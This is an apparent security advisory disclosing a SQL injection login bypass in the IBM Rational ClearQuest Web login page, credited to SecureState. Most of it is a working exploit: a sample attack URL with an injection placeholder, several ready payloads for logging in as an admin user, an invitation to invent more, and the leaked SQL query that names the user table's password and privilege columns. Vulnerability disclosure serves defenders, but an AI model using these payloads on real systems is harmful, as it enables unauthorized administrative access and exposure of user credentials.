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• IBM Rational ClearQuest Web Login Bypass (SQL Injection) +
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DISCOVERED BY:

SecureState
sasquatch - [email protected]
rel1k - [email protected]

HOMEPAGE:

www.securestate.com

AFFECTED AREA:

The username field on the login page is where the application is susceptible to SQL injection…

SAMPLE URL:

http://SERVERNAMEHERE/cqweb/main?command=GenerateMainFrame&ratl_userdb=DATABASENAMEHERE,&test=&clientServerAddress=http://SERVERNAMEHERE/cqweb/login&username='INJECTIONGOESHERE&password=PASSWORDHERE&schema=SCHEMEAHERE&userDb=DATABASENAMEHERE

Log in as "admin":

' OR login_name LIKE '%admin%'–

(other variations work as well)
' OR login_name LIKE 'admin%'–
' OR LOWER(login_name) LIKE '%admin%'–
' OR LOWER(login_name) LIKE 'admin%'–
etc…use your imagination…

Confirmed against:

version 7.0.0.1 Label BALTIC_PATCH.D0609.929
version 7.0.0.0-IFIX02 Label BALTIC_PATCH.D060630

FULL SQL Statement is spit back in error message:

SELECT
master_users.master_dbid, master_users.login_name, master_users.encrypted_password,
master_users.email, master_users.fullname, master_users.phone, master_users.misc_info,
master_users.is_active, master_users.is_superuser, master_users.is_appbuilder,
master_users.is_user_maint, ratl_mastership, ratl_keysite, master_users.ratl_priv_mask
FROM
master_users
WHERE
login_name = 'INJECTION GOES HERE